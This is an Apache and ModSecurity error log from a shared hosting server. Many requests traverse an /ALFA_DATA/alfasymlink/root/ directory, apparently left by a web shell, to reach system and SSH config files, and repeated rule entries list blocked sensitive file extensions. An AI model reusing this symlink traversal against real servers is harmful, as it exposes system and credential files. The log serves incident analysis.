[Mon Oct 26 12:30:28.437954 2026] [security2:error] [pid 3064917:tid 3064917] [client 85.208.96.208:55876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/Ubuntu.conf"] [unique_id "at-AJCzIZ5h8S-OqEyPWVAAAABI"]
[Mon Oct 26 12:30:31.639560 2026] [ssl:error] [pid 3064934:tid 3064934] (70014)End of file found: [client 3.227.180.70:34067] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:30:35.620267 2026] [ssl:error] [pid 3064917:tid 3064917] (5)Input/output error: [client 54.80.185.200:63413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:30:44.255676 2026] [authz_core:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Mon Oct 26 12:30:45.372571 2026] [authz_core:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 12:30:47.659146 2026] [ssl:error] [pid 3064934:tid 3064934] (70014)End of file found: [client 44.218.6.93:3043] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:30:55.562633 2026] [core:error] [pid 3057476:tid 3057476] (13)Permission denied: [client 50.16.216.166:21445] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:03/firmware_node/physical_node/firmware_node/subsystem/uevent
[Mon Oct 26 12:31:00.224136 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 34.225.87.80:53778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:31:03.542299 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 35.169.102.85:25211] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:31:23.781472 2026] [ssl:error] [pid 3061639:tid 3061639] (70014)End of file found: [client 23.21.228.180:62284] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:31:27.486552 2026] [ssl:error] [pid 3065034:tid 3065034] (70014)End of file found: [client 50.19.102.70:65090] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:31:29.729891 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 85.208.96.195:27674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/hwcache_align
[Mon Oct 26 12:31:31.551078 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 34.239.85.139:39777] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:31:35.695240 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 52.1.106.130:52335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:31:39.626917 2026] [ssl:error] [pid 3065028:tid 3065028] (70014)End of file found: [client 44.195.50.71:18391] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:31:43.593990 2026] [core:error] [pid 3061639:tid 3061639] (13)Permission denied: [client 34.194.95.99:38866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:03/physical_node/driver/new_id
[Mon Oct 26 12:31:46.313762 2026] [core:error] [pid 3065033:tid 3065033] (13)Permission denied: [client 85.208.96.198:32890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/free_calls
[Mon Oct 26 12:31:47.578822 2026] [ssl:error] [pid 3065034:tid 3065034] (70014)End of file found: [client 54.166.126.132:45622] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:31:56.765222 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at-AfA0g2jjdjIvFvbzZGgAAAAY"]
[Mon Oct 26 12:31:56.765589 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at-AfA0g2jjdjIvFvbzZGgAAAAY"]
[Mon Oct 26 12:31:56.765901 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at-AfA0g2jjdjIvFvbzZGgAAAAY"]
[Mon Oct 26 12:31:58.112693 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/escu.com"] [unique_id "at-Afg0g2jjdjIvFvbzZGwAAAAY"]
[Mon Oct 26 12:31:58.113109 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/escu.com"] [unique_id "at-Afg0g2jjdjIvFvbzZGwAAAAY"]
[Mon Oct 26 12:31:58.113483 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/escu.com"] [unique_id "at-Afg0g2jjdjIvFvbzZGwAAAAY"]
[Mon Oct 26 12:31:59.111049 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com"] [unique_id "at-Afw0g2jjdjIvFvbzZHAAAAAY"]
[Mon Oct 26 12:31:59.111429 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com"] [unique_id "at-Afw0g2jjdjIvFvbzZHAAAAAY"]
[Mon Oct 26 12:31:59.111701 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com"] [unique_id "at-Afw0g2jjdjIvFvbzZHAAAAAY"]
[Mon Oct 26 12:32:02.362625 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com"] [unique_id "at-Agg0g2jjdjIvFvbzZHgAAAAY"]
[Mon Oct 26 12:32:02.363001 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com"] [unique_id "at-Agg0g2jjdjIvFvbzZHgAAAAY"]
[Mon Oct 26 12:32:02.363370 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com"] [unique_id "at-Agg0g2jjdjIvFvbzZHgAAAAY"]
[Mon Oct 26 12:32:05.521881 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55359] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-AeQWgOHT1_mp01JumNwAAAD0"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:32:05.521929 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55359] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-AeQWgOHT1_mp01JumNwAAAD0"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:32:07.536464 2026] [ssl:error] [pid 3061639:tid 3061639] (5)Input/output error: [client 3.220.70.171:20767] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:32:15.424763 2026] [core:error] [pid 3065034:tid 3065034] (13)Permission denied: [client 85.208.96.205:19478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/shrink
[Mon Oct 26 12:32:15.492560 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.221.105.234:42112] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:32:23.473584 2026] [ssl:error] [pid 3064934:tid 3064934] (70014)End of file found: [client 34.205.170.13:13051] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:32:32.287169 2026] [security2:error] [pid 3044312:tid 3044312] [client 195.201.10.227:49252] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/listing_sample.html"] [unique_id "at-An9T_ySsYV2zOlWvArwAAAEo"]
[Mon Oct 26 12:32:32.287223 2026] [security2:error] [pid 3044312:tid 3044312] [client 195.201.10.227:49252] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/listing_sample.html"] [unique_id "at-An9T_ySsYV2zOlWvArwAAAEo"]
[Mon Oct 26 12:32:35.208448 2026] [security2:error] [pid 3044312:tid 3044312] [client 195.201.10.227:49252] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com"] [unique_id "at-Ao9T_ySsYV2zOlWvAsAAAAEo"]
[Mon Oct 26 12:32:35.208837 2026] [security2:error] [pid 3044312:tid 3044312] [client 195.201.10.227:49252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com"] [unique_id "at-Ao9T_ySsYV2zOlWvAsAAAAEo"]
[Mon Oct 26 12:32:35.209152 2026] [security2:error] [pid 3044312:tid 3044312] [client 195.201.10.227:49252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com"] [unique_id "at-Ao9T_ySsYV2zOlWvAsAAAAEo"]
[Mon Oct 26 12:32:37.501743 2026] [authz_core:error] [pid 3044312:tid 3044312] [client 195.201.10.227:49252] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Mon Oct 26 12:32:43.445394 2026] [ssl:error] [pid 3064934:tid 3064934] (70014)End of file found: [client 44.220.2.97:58032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:32:47.449191 2026] [ssl:error] [pid 3061639:tid 3061639] (70014)End of file found: [client 18.214.186.220:2377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:32:55.324559 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 16.216.88.171:8192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/ssh/sshd_config.rpmnew
[Mon Oct 26 12:33:08.239575 2026] [security2:error] [pid 3064975:tid 3064975] [client 85.208.96.195:49614] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/email/__pycache__/contentmanager.cpython-36.opt-1.pyc"] [unique_id "at-AxMdX-waAlDqXJHtTAgAAABY"]
[Mon Oct 26 12:33:08.239623 2026] [security2:error] [pid 3064975:tid 3064975] [client 85.208.96.195:49614] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/email/__pycache__/contentmanager.cpython-36.opt-1.pyc"] [unique_id "at-AxMdX-waAlDqXJHtTAgAAABY"]
[Mon Oct 26 12:33:11.272782 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 54.166.104.83:65367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:33:12.202721 2026] [ssl:error] [pid 3064934:tid 3064934] (70014)End of file found: [client 34.206.249.188:36049] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:33:15.522631 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 54.83.23.103:39962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:33:43.074932 2026] [ssl:error] [pid 3065020:tid 3065020] (5)Input/output error: [client 3.230.69.161:61994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:34:03.108997 2026] [core:error] [pid 3064934:tid 3064934] (13)Permission denied: [client 98.84.60.17:40258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/thunderbolt/bind
[Mon Oct 26 12:34:06.941622 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.7.13.143:62582] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:34:11.047552 2026] [ssl:error] [pid 3064934:tid 3064934] (70014)End of file found: [client 35.173.18.61:36583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:34:18.840958 2026] [ssl:error] [pid 3065028:tid 3065028] (5)Input/output error: [client 184.73.167.217:16083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:34:19.749336 2026] [authz_core:error] [pid 3064975:tid 3064975] [client 85.208.96.205:54144] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/arg2/php.ini
[Mon Oct 26 12:34:23.578019 2026] [core:error] [pid 3065033:tid 3065033] (13)Permission denied: [client 185.191.171.4:20164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/buffer_head/objects
[Mon Oct 26 12:34:30.908961 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 18.205.127.11:9494] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:34:34.906346 2026] [ssl:error] [pid 3061638:tid 3061638] (70014)End of file found: [client 52.203.237.170:12030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:34:38.677609 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.83.56.1:18838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:34:42.872653 2026] [ssl:error] [pid 3064934:tid 3064934] (70014)End of file found: [client 44.216.172.204:51141] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:34:53.828747 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 185.191.171.17:41994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/slabs
[Mon Oct 26 12:35:06.223796 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 185.191.171.17:31604] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sysfillrect/sections/__kcrctab
[Mon Oct 26 12:35:06.538566 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 100.24.149.244:45448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/ttyS1/subsystem/ttyS0/device/tty/ttyS3/uartclk
[Mon Oct 26 12:35:18.407642 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 98.84.200.43:26855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:35:22.366393 2026] [ssl:error] [pid 3062870:tid 3062870] (70014)End of file found: [client 52.204.37.237:20482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:35:38.297240 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 3.225.9.97:26871] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:35:42.231716 2026] [ssl:error] [pid 3062870:tid 3062870] (70014)End of file found: [client 184.73.68.20:26582] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:35:46.258716 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.217.171.106:29084] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:35:50.222878 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 34.226.89.140:23671] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:35:54.320890 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 23.21.250.48:4269] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:35:58.245460 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 54.83.240.58:46182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:36:00.086228 2026] [core:crit] [pid 3050354:tid 3050354] (13)Permission denied: [client 91.237.124.248:57782] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 12:36:02.200647 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 52.202.52.82:9601] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:36:03.620935 2026] [core:crit] [pid 3062870:tid 3062870] (13)Permission denied: [client 91.237.124.248:57794] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 12:36:07.225401 2026] [core:crit] [pid 3064975:tid 3064975] (13)Permission denied: [client 91.237.124.248:57798] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 12:36:10.505663 2026] [core:crit] [pid 3044312:tid 3044312] (13)Permission denied: [client 91.237.124.248:37272] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 12:36:13.324439 2026] [core:crit] [pid 3052342:tid 3052342] (13)Permission denied: [client 91.237.124.248:37280] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 12:36:16.624920 2026] [authz_core:error] [pid 3064916:tid 3064916] [client 91.237.124.248:33924] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 12:36:22.201135 2026] [ssl:error] [pid 3065028:tid 3065028] (70014)End of file found: [client 54.225.181.161:36482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:36:30.204756 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.194.14.255:59487] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:36:30.373087 2026] [core:crit] [pid 3065028:tid 3065028] (13)Permission denied: [client 91.237.124.248:36112] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 12:36:49.148212 2026] [security2:error] [pid 3065028:tid 3065028] [client 91.237.124.248:44778] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "368"] [id "920340"] [rev "3"] [msg "Request Containing Content, but Missing Content-Type header"] [severity "NOTICE"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at-BoeT2b3J_8INWoQcYtgAAABI"]
